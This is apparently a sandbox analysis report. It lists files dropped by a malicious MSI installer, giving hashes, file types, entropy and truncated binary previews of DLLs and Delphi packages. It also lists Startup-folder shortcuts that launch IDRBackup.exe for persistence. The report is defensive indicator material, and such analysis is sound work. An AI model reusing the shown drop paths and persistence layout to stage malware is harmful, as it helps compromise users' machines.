SHA-512:	B8DE5D2450B7685A865A3565965E786745E63ADB4F926896DD67D6E1BEA802FCD2A03A61E464CA1F7153FF90A0582E92D0946A558F4FC7468CA035853C7E5E73
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!.O.@...@...@..h....@...8...@...8...@......@...@...@...8...@...8...@.......@...8...@..Rich.@..................PE..L.....&]...........!.........X......n5.......................................0............@.....................................<.......................................................................@...............(............................text...S........................... ..`.rdata..b-..........................@..@.data...d...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Aplanogamete\hso

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	4526833
Entropy (8bit):	7.966185784897977
Encrypted:	false
SSDEEP:	98304:HNfg5MzZZKcUrhgrhiNcqM7VFHrCgRUVpS5QMsWpBs3KKLnb9owzajg+l1:HuKZBYwhiNcqM7npRsS5QMD8jb9owu1
MD5:	AE698161CA0CD6BAF53788C39B7D55A8
SHA1:	C03513DC4712FE46517159FAF2D7BCCDF4DA2C58
SHA-256:	ED4905E10A4416F1C878EBBADAEC55A76490BAF8B9EDBBD99DB17FB62311FF64
SHA-512:	A6D4391E39C77A30900B7FB377060E233FF5D7A770BF0979CACC88108263BF4BFBEE369BD95A4AFF07C99EE20B12A15D9B9BF399B33645614985239B5CCFC44B
Malicious:	false
Preview:	x..b\...wc.x..^....\.RFT..EN.Eu...I.CUP..em.W.....R.bX....Q....P.Mhu...^.m[..jc...E.X..q..O..]....EL]Ce.....Zx.UC...issEw].GoS.dEviIT.Vk...kt.O..x...ak..jL.Am....pLJ..._..PZ..e..\.pqW......KU^....c.\....YGP]kGb...o.qb.B.FYsE.M..mUB..S..._._._.v.m.\lF..hCN......`...A..dW...if[.....qYMk..UG.K..OOnFX`.h.....I.Y..L..`..N..Rnm.Bplo.Vv...O.._d_qP..Y...Bv.ef\...PH.H..._.CXFA.r.....pNEI......d......s..._....v.....gBoGA.Zus..J.m\.I.X....V..Kyh[jJ.[i.q.h...V..y._QQ....w...X..a.hJ.h......Lk.i....L......F.a.....[.VZTf.ol.La...o.\.Pt...R.R..D.b..I...t.Ab...r.v.......]n.JVF...G`.b...MjVLJ.eaak._dE..Q.Sx......b...N.k.DL.o.q^Hy.Z...ZJ..l.Rrhu.NP.U.lKB.\.G.y.f.rEq.Pj.U.v.[q..LV...YM.DyX.fK.eg.S.....r...ksY.p.].B.k_.l.l.S...L.D..eT[k.K...V..`q.X.\.Dh.J\.hKd..^mi....`..mZVU.....d..`IF.x......smJcs......ot.ta.q.k...Sk.C.C.M..q.n..KN.f..M.X.H..Q`kLa.P...w..^V...f.o.Y..lZXg.c.l...B.glv.....e.a.PbW.DE..TpRCSOMM.q..pY.y..a.Z...N...Mv^QM.o..M.i..e^..T.Jtx.NcAI.^..^P^..TJ.x..c..L..ej..^...k[l.Fk.....m..t..JP`D.

C:\Users\user\AppData\Local\Temp\Aplanogamete\madbasic_.bpl

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214016
Entropy (8bit):	6.88876124830787
Encrypted:	false
SSDEEP:	6144:wN/kSQxE6qeM/k4qTl5L5e5+53WCG1CbF/Frf1:PqeM/k4qR5L5e5+53WulZ1
MD5:	DC6655A38FFDC3C349F13828FC8EC36E
SHA1:	95DB71EF7BFF8C16CE955C760292BAD9F09BB06D
SHA-256:	16126FF5DAA3787A159CF4A39AA040B8050EBB66AB90DBB97C503110EF72824A
SHA-512:	84B85F2AAAD773CBE039022DB3D0C35263343243F0D021D7AA3086904B80DD309E6D2A93613CC774B5DB27335F4D2850151E2BC8F4648B0065F66BD3722C3D69
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: kr5u9eDLvb.exe, Detection: malicious, Browse Filename: MOD_200.pdf.lnk, Detection: malicious, Browse Filename: iTop Easy Desktop_Setup_IU.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...[..V.............................0.......@.....W.................................................................0...d......`(......x................@......................".......................................0............................text...x........................... ..`.itext.......0...................... ..`.data...l&...@...(..................@....bss........p.......@...................idata..`(.......*...@..............@....edata...d...0...f...j..............@..@.rdata.."...........................@..@.reloc..............................@..B.rsrc...x...........................@..@....................................@..@................................................................................................

C:\Users\user\AppData\Local\Temp\Aplanogamete\maddisAsm_.bpl

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	62976
Entropy (8bit):	6.769493849077948
Encrypted:	false
SSDEEP:	768:RhaUyLDjc8SqMhnJ/zq0siFsjB5mYdWtC16+C+024bQJu0D3BIBo1w4Kv57dbhrC:RNy3eqMne0sXB0IWtCLwEJhY0w1SD
MD5:	84BC072F8EA30746F0982AFBDA3C638F
SHA1:	F39343933FF3FC7934814D6D3B7B098BC92540A0
SHA-256:	52019F47F96CA868FA4E747C3B99CBA1B7AA57317BF8EBF9FCBF09AA576FE006
SHA-512:	6E7648194738E8E49E48C2450EEF1D482473CD4E5C0E83F292AC9174488F3F22A3B6BA96F07E024C2AB96613D9DB1A97084CA0B3973ED5D88502E0D28E120EF5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...[..V.................z...8......4..............W......................... ......~{..................................&.......d........................@......T...............#....................................................................text...4w.......x.................. ..`.itext..<............\|.............. ..`.data................~..............@....bss.....................................idata..d...........................@....edata..&...........................@..@.rdata..#...........................@..@.reloc..T...........................@..B.rsrc...............................@..@............. ......................@..@................................................................................................

C:\Users\user\AppData\Local\Temp\Aplanogamete\madexcept_.bpl

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	445440
Entropy (8bit):	6.727415549986866
Encrypted:	false
SSDEEP:	6144:mlAz49EKhEV30F8sl88nTjQ4Q50gEcW/jd+o72niVUNMa4Yn2c:mlG4ut30F8slzYlQcW/jd++2nJ6u2c
MD5:	21068DFD733435C866312D35B9432733
SHA1:	3D5336C676D3DD94500D0D2FE853B9DE457F10FD
SHA-256:	835F1141ECE59C36B18E76927572D229136AEB12EFF44CB4BA98D7808257C299
SHA-512:	54664A9E60E5A0B148FC4684125B7EAC9CFC57D0BC5838204ED587D62E44C3347C0BAE3192D5C375B6A74335B4FED4FC53248BA542C59022E9761872E09E3EE7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...f..V.................H...@......<c.......p.....Y.....................................................................O......._......D<...............@...P...A...........@..$...................................l...x............................text....C.......D.................. ..`.itext..D....`.......H.............. ..`.data...t....p.......L..............@....bss....H............Z...................idata..._.......`...Z..............@....edata...O.......P..................@..@.rdata..$....@......................@..@.reloc...A...P...B..................@..B.rsrc...D<.......>...N..............@..@.....................R..............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\Aplanogamete\qvi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	10135
Entropy (8bit):	6.530994651641475
Encrypted:	false
SSDEEP:	192:YDdCjuwKxx0Iz3YDkI+eF/CpUZK794s8epq1Zo+VI+uMiDkknW9dRsaAtQxp952d:YBHOIz3YoI+eF68leE3/VYYj5Ds
MD5:	C7E234FA36DBC2C97D2ED3974A437417
SHA1:	41A8BB3540920F868EA669B909E61071E16497F8
SHA-256:	ED115985C0DB3516AE57B9E2D2B8472EBA69F31ACCF7D6A078049B269958CE1C
SHA-512:	259A929CD6665F6EC8640E629668E4A90D3261C2B1987A1DD5C51175CCA7CA9B03DF09BEFC9EAB4543F726B6423F393735CEEBF00AD2741DB0D5F14DB732AE11
Malicious:	false
Preview:	U.m..w.j.q....ox.V.KjW...N^tE..ckFRj.....`...aolj..DPUmm.NR.bP..L.k.J..Z..CK.I`k...FlmuX._.....E]M..v.r.v...xh..q..x^....dG..y...oigZh.ekGyq\.Mj_..NY..o.tvgGB...A.s..d..j...uk..w.m[oU....\.c..d.hKL....A.MZ.W.CiW.mp..qd.l.Q..L....F.T..u..Y.AAf.h..I..s.Y.]UjS.YO.W......qSYw.....CHilS.y...ZA.H.XyRa.mlB.p..Ya...f..q.NB....oy....s..p.QS.fHN..e..qm......f.sSGg_.jvH.M\VNA...Jtq`..am..mGh.Wk...I..U..^...W.]H.j.].pK.a.ZL.USl\.W_.mM.Q.`.i...Ns.qcs.uU.l...........kd.........F.KH.i.k......VV.i.aS....esO.OsFjv.`....o.hJ..]\..wL..WQ..[At..A..].B._.bk].X.H...Ps...`e..T.j.]..f...YA_.[...Em..m..O..l....J.J.n.^..R.Z`Zt..vK.iX.e.....S...]L...C.[..m...w.^O..e...DWdVh.CEs...y...x.^R....e.\.\OtwL...nLR.Q.p.GV..x...._.U.HQ....J.Kf.fHw.ikk..S..w\...n..hN.qM.Aq.Z...DjX.x.x..gF...K..\.........EOFP^\[y.t....UW...c..^^UiE.vpeF..X].a...F..Cg...h_OsXFKyQB.S.Mu..iwK.s......qfT.F.].....mUx.TCE...dkXO....f..q.d.Rt...g.i..._s..HH.vKY.EI.X...E..^.w.G.Cs...l..E.Qm.i..a....Q.G.Os]......w...MYih.tT.cuP..n..P.W\kaD..DHAjK..

C:\Users\user\AppData\Local\Temp\Aplanogamete\rtl120.bpl

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1111552
Entropy (8bit):	6.828560472335152
Encrypted:	false
SSDEEP:	24576:ebhz5FWbA1msvIRzM7Rk5JZzSQ4+Is2D9Tx0gbo5:l2hTKgbo5
MD5:	630991830AFE0B969BD0995E697AB16E
SHA1:	FEDA243D83FBA15B23D654513DC1F0D70787BA18
SHA-256:	B1FCB0339B9EF4860BB1ED1E5BA0E148321BE64696AF64F3B1643D1311028CB3
SHA-512:	2F2BF30BE615F44E56ECCA972A9FCBE27187045E13C468D039645E5CC6D01F990CDE32B322965F245BC8FCCFD0920F09A0AFA1D4DE0748ED01DD9FFC1BD24692
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\Aplanogamete\rtl120.bpl, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H...........................................P.........................`..................................................X$...p...................@..............................................................x............................text.............................. ..`.itext........... .................. ..`.data...tw.......x..................@....bss.... T...@.......(...................idata..X$.......&...(..............@....edata...............N..............@..@.rdata...............0..............@..@.reloc...............2..............@..B.rsrc........p......................@..@.............`......................@..@................................................................................................

C:\Users\user\AppData\Local\Temp\Aplanogamete\sqlite3.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	925744
Entropy (8bit):	6.531971164117173
Encrypted:	false
SSDEEP:	24576:rRxNAQB74x0FwTuis6eCwjH+SW61zf/AD:ra+syis/LjH+S31E
MD5:	9D255E04106BA7DCBD0BCB549E9A5A4E
SHA1:	A9BECB85B181C37EE5A940E149754C1912A901F1
SHA-256:	02F37A8E3D1790AC90C04BC50DE73CD1A93E27CAF833A1E1211B9CC6294ECEE5
SHA-512:	54C54787A4CA8643271169BE403069BC5F1E319A55D6A0EBD84FB0D96F6E9BDDC52B0908541D29DB04A042B531ABD6C05073E27B0B2753196E0055B8B8200B09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......[...........!.....F...................`.....a................................k3........ .........................w ......0........................:... ...3...................................................................................text...0D.......F..................`.P`.data........`.......L..............@.`..rdata........... ...h..............@.`@.bss....(.............................`..edata..w ......."..................@.0@.idata..0...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc...3... ...4..................@.0B/4...........`......................@.@B/19.........p......................@..B/31.................................@..B/45..........0......................@..B/57..........P......................@.0B/70.....i....`..........

C:\Users\user\AppData\Local\Temp\Aplanogamete\vcl120.bpl

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2012160
Entropy (8bit):	6.677286319553433
Encrypted:	false
SSDEEP:	24576:L2gt8PRUMggrgN/5tWw+eNVEXZB5SOCwhuuYY8RPyS9YEPI5yz6T:LRSf0Ww+NpPSyzYY8c8YEPI4+T
MD5:	849070EBD34CBAEDC525599D6C3F8914
SHA1:	B0543D13F4D0CB787ABDAAF1D3C9A5AF17C87AFA
SHA-256:	B6F321A48812DC922B26953020C9A60949EC429A921033CFAF1E9F7D088EE628
SHA-512:	F2CA685B01BE9D1B77D8D924E0097DDACEE7628CC1AAD8A87D8B18A699558D38A7851E6CFF8BB2B8AE1980824588AF5C3AC75B7B4198B620144DFF61611F3AEB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H.....................l............... .....P.................................e...............................P...'...`.......................t...@.......^.............."....................................y...............................text...4........................... ..`.itext.............................. ..`.data...\!... ..."..................@....bss....<....P..........................idata.......`.....................@....edata...'...P...(..................@..@.rdata.."............8..............@..@.reloc...^.......`...:..............@..B.rsrc...............................@..@.....................t..............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\Aplanogamete\vclx120.bpl

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	225792
Entropy (8bit):	6.542140301791508
Encrypted:	false
SSDEEP:	3072:F4af8kXL6nX0YXjvkWQ5vYhbNkWPFOEJ8YZbjeTl0Y25zFgYBzRKy6sB65avEtAt:Oaf8kLWL7Xov8bNxdOmrfgYmHA6I
MD5:	7DAA2B7FE529B45101A399B5EBF0A416
SHA1:	FD73F3561D0CEBE341A6C380681FB08841FA5CE6
SHA-256:	2BDF023C439010CE0A786EC75D943A80A8F01363712BBF69AFC29D3E2B5306ED
SHA-512:	8E9EC71943C412FE95563E488D91E6EF0041C16A08654FF14B11953F134007657D1E6EC95952F6B9C8B8567A35368840618DB06E5CD99ABC43AE495A3FBC6B96
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....g.H..........................................1P.................................T...................................\|......&....P...>...........2...@... ...!..............!................................... ................................text...8........................... ..`.itext.............................. ..`.data...P...........................@....bss....<................................idata..&...........................@....edata...\|.......~...R..............@..@.rdata..!...........................@..@.reloc...!... ..."..................@..B.rsrc....>...P...>..................@..@.....................2..............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n4x54qli.k1o.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vq0v0zdq.t4h.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2364728
Entropy (8bit):	6.606009669324617
Encrypted:	false
SSDEEP:	49152:lbCT2kOGRpfJMi3kLRQrjYgeeZyTDwMHfDYZNBi:TkOKMiY0BZMHfDYZNBi
MD5:	967F4470627F823F4D7981E511C9824F
SHA1:	416501B096DF80DDC49F4144C3832CF2CADB9CB2
SHA-256:	B22BF1210B5FD173A210EBFA9092390AA0513C41E1914CBE161EB547F049EF91
SHA-512:	8883EAD428C9D4B415046DE9F8398AA1F65AE81FE7945A840C822620E18F6F9930CCE2E10ACFF3B5DA8B9C817ADE3DABC1DE576CBD255087267F77341900A41C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:<..To..To..To.:.o..To...o..To.:9o..To.:.o..To.:/o..To..Uoe.To...o\|.To...o..To...o..To...o..ToRich..To................PE..d...^.?e..........#......H.....................@..............................%.....h.$.....................................................XW..,........q...p..$h....#.8)......................................(....................`...............................text...RG.......H.................. ..`.rdata..R/...`...0...L..............@..@.data................\|..............@....pdata..$h...p...j..................@..@Shared...............p..............@....tls.................x..............@....rsrc....q.......r...z..............@..@................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jwhchx

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2565632
Entropy (8bit):	6.720282075797925
Encrypted:	false
SSDEEP:	49152:fTeU0WaITRnbPiAGTeYUgi4t+viMs5Y7WCE2N1wlbRksZUwHucOIsBz84k:Ljxa+IlN
MD5:	F70DBF7B7AAF190BC50F778118099E1A
SHA1:	50741A88FD591CB68A9140384CC8578AA0E5C33F
SHA-256:	3128C06BBA23756FE064022287364DC4716DDF5FA06ECEB38786B9CB391C53EF
SHA-512:	5643F2783D4286404A9DEA3A3FAD76E09DD3A694126FD193AFD0040E57319C2886CB4F9B2456BA29F50E3C87E5D20A896559ED88A85E791C016205B02E6D511D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....,U..................$...'..b..W..........@......................................(...`... ...............................................-.T.....-.8....P&.\j............-.............................@E&.(...................8.-..............................text...x.$.......$.................`..`.data.........$.......$.............@....rdata..H.....%.......%.............@..@.pdata..\j...P&..l...>&.............@..@.xdata...R....&..T....&.............@..@.bss.... a... '..........................idata..T.....-.......&.............@....CRT....0.....-.......'.............@....tls..........-.......'.............@....rsrc...8.....-.......'.............@..@.reloc........-.......'.............@..Bcvgr..... ....-.......'.............@...................................................................................................................................

C:\Users\user\AppData\Local\Temp\mphkhj

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Nov 22 22:58:33 2024, mtime=Fri Nov 22 22:59:03 2024, atime=Tue Nov 19 05:46:10 2024, length=2137808, window=hide
Category:	dropped
Size (bytes):	906
Entropy (8bit):	5.064155920257267
Encrypted:	false
SSDEEP:	24:8D1u70+WP81Z2mVxn9yAWr2yYnix40LBm:8D1u7KPBmL9RrhE
MD5:	9145F069C2B26213432B992EF21E8C27
SHA1:	2B9F148F46B82722106DF8793444E09E48D01379
SHA-256:	F2653A53DBDC9058ABC52720C4357F35399A29CB46E599EDA2CEE20E1F226A0F
SHA-512:	6CABE8047608426CC95BC9360C664F528FC9423F39F27398418700FFD78CF6CAAD28643282B784FAFBC8D7AB315C9143F62AB0DBD2AC7EDFFD83E5E4890BD02F
Malicious:	false
Preview:	L..................F.... ..... p:=...(.:=....N:... .......................:..DG..Yr?.D..U..k0.&...&......vk.v....@(.V:=...$H.:=......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^vY<............................%..A.p.p.D.a.t.a...B.V.1.....vYQ...Roaming.@......CW.^vYS...........................Vr..R.o.a.m.i.n.g.....`.1.....vYR...TOOLSY~1..H......vYQ.vYR..............................t.o.o.l.s.y.n.c._.R.O.....h.2.. .sY.5 .IDRBAC~1.EXE..L......vYQ.vYQ..............................I.D.R.B.a.c.k.u.p...e.x.e.......g...............-.......f.............SK.....C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe..'.....\.....\.R.o.a.m.i.n.g.\.t.o.o.l.s.y.n.c._.R.O.\.I.D.R.B.a.c.k.u.p...e.x.e.`.......X.......496536...........hT..CrF.f4... ..).-....,.......hT..CrF.f4... ..).-....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Local\Temp\wuewdjhxltfrd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	2565632
Entropy (8bit):	6.720277746279346
Encrypted:	false
SSDEEP:	49152:KTeU0WaITRnbPiAGTeYUgi4t+viMs5Y7WCE2N1wlbRksZUwHucOIsBz84k:6jxa+IlN
MD5:	88B61682ABEF3D1E72827C43290E6D6F
SHA1:	599F4E4471A2D7600A19E2BEBC154FF30A713F95
SHA-256:	C60F4B6530760D771498F9428CA3509E65DA71261D5ECB2E3141D40E29E8CAE9
SHA-512:	64890B48F5C45E65E6F2464392204B72A6E1295A54BACA296B133C69E4BAC119A02FE1BEC834F70EE2669E6F6AE502A448BDC6F5B825DE1E553B6AA37DA9C0A0
Malicious:	false
Preview:	........................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....,U..................$...'..b..W..........@......................................(...`... ...............................................-.T.....-.8....P&.\j............-.............................@E&.(...................8.-..............................text...x.$.......$.................`..`.data.........$.......$.............@....rdata..H.....%.......%.............@..@.pdata..\j...P&..l...>&.............@..@.xdata...R....&..T....&.............@..@.bss.... a... '..........................idata..T.....-.......&.............@....CRT....0.....-.......'.............@....tls..........-.......'.............@....rsrc...8.....-.......'.............@..@.reloc........-.......'.............@..Bcvgr..... ....-.......'.............@...................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT74E7.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Nov 22 22:58:33 2024, mtime=Fri Nov 22 22:59:03 2024, atime=Tue Nov 19 05:46:10 2024, length=2137808, window=hide
Category:	dropped
Size (bytes):	906
Entropy (8bit):	5.064155920257267
Encrypted:	false
SSDEEP:	24:8D1u70+WP81Z2mVxn9yAWr2yYnix40LBm:8D1u7KPBmL9RrhE
MD5:	9145F069C2B26213432B992EF21E8C27
SHA1:	2B9F148F46B82722106DF8793444E09E48D01379
SHA-256:	F2653A53DBDC9058ABC52720C4357F35399A29CB46E599EDA2CEE20E1F226A0F
SHA-512:	6CABE8047608426CC95BC9360C664F528FC9423F39F27398418700FFD78CF6CAAD28643282B784FAFBC8D7AB315C9143F62AB0DBD2AC7EDFFD83E5E4890BD02F
Malicious:	false
Preview:	L..................F.... ..... p:=...(.:=....N:... .......................:..DG..Yr?.D..U..k0.&...&......vk.v....@(.V:=...$H.:=......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^vY<............................%..A.p.p.D.a.t.a...B.V.1.....vYQ...Roaming.@......CW.^vYS...........................Vr..R.o.a.m.i.n.g.....`.1.....vYR...TOOLSY~1..H......vYQ.vYR..............................t.o.o.l.s.y.n.c._.R.O.....h.2.. .sY.5 .IDRBAC~1.EXE..L......vYQ.vYQ..............................I.D.R.B.a.c.k.u.p...e.x.e.......g...............-.......f.............SK.....C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe..'.....\.....\.R.o.a.m.i.n.g.\.t.o.o.l.s.y.n.c._.R.O.\.I.D.R.B.a.c.k.u.p...e.x.e.`.......X.......496536...........hT..CrF.f4... ..).-....,.......hT..CrF.f4... ..).-....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ProtectWordpad5.lnk (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Nov 22 22:58:33 2024, mtime=Fri Nov 22 22:59:03 2024, atime=Tue Nov 19 05:46:10 2024, length=2137808, window=hide
Category:	dropped
Size (bytes):	906
Entropy (8bit):	5.064155920257267
Encrypted:	false
SSDEEP:	24:8D1u70+WP81Z2mVxn9yAWr2yYnix40LBm:8D1u7KPBmL9RrhE
MD5:	9145F069C2B26213432B992EF21E8C27
SHA1:	2B9F148F46B82722106DF8793444E09E48D01379
SHA-256:	F2653A53DBDC9058ABC52720C4357F35399A29CB46E599EDA2CEE20E1F226A0F
SHA-512:	6CABE8047608426CC95BC9360C664F528FC9423F39F27398418700FFD78CF6CAAD28643282B784FAFBC8D7AB315C9143F62AB0DBD2AC7EDFFD83E5E4890BD02F
Malicious:	false
Preview:	L..................F.... ..... p:=...(.:=....N:... .......................:..DG..Yr?.D..U..k0.&...&......vk.v....@(.V:=...$H.:=......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^vY<............................%..A.p.p.D.a.t.a...B.V.1.....vYQ...Roaming.@......CW.^vYS...........................Vr..R.o.a.m.i.n.g.....`.1.....vYR...TOOLSY~1..H......vYQ.vYR..............................t.o.o.l.s.y.n.c._.R.O.....h.2.. .sY.5 .IDRBAC~1.EXE..L......vYQ.vYQ..............................I.D.R.B.a.c.k.u.p...e.x.e.......g...............-.......f.............SK.....C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe..'.....\.....\.R.o.a.m.i.n.g.\.t.o.o.l.s.y.n.c._.R.O.\.I.D.R.B.a.c.k.u.p...e.x.e.`.......X.......496536...........hT..CrF.f4... ..).-....,.......hT..CrF.f4... ..).-....,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\ONHQNHFT.msi

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Gratin, Author: Hurdle Stithy, Keywords: Installer, Comments: This installer database contains the logic and data required to install Gratin., Template: Intel;1033, Revision Number: {F8287FD5-FF2A-4270-84E3-45317986F30E}, Create Time/Date: Tue Nov 19 09:48:28 2024, Last Saved Time/Date: Tue Nov 19 09:48:28 2024, Number of Pages: 500, Number of Words: 10, Name of Creating Application: WiX Toolset (4.0.0.0), Security: 2
Category:	dropped
Size (bytes):	6766592
Entropy (8bit):	7.9984911338080185
Encrypted:	true
SSDEEP:	196608:0I1luWmYjbL+43RSnJaVBKQiEh4i4gO3MR26f:9pLbL+4tli+4hGJ
MD5:	829E5E01899CAC6E4326893AFBF5BE82
SHA1:	DA638840F3452D74B9118D6C60A5A6CF70B87901
SHA-256:	84ABC28B1DA1C2DDF01072FB2817EB446933BA98ECC0DB2228281D6FCFADFF0C
SHA-512:	212A35971A38F2800E876882A03E610C074B4918509D06D4A25E9CDEBB1049E7A91BD7E659706914A9584F79943C94CA68F0F3BE7ACF84E056F3910C717C4F03
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2137808
Entropy (8bit):	6.8117077805342365
Encrypted:	false
SSDEEP:	24576:fsLSdP5XOFS5DbCVVtBF8SIIa0awy+qW5M8hbGY7WVaQX/VjjFD7YpmTfWD3B7jn:ELmVOFUK1JIIa0awN5d7WVaQX1T+z9D
MD5:	371C165E3E3C1A000051B78D7B0E7E79
SHA1:	2A2ECBBD4840C486B3507A18307369336EC5A1AA
SHA-256:	5AE3838D77C2102766538F783D0A4B4205E7D2CDBA4E0AD2AB332DC8AB32FEA9
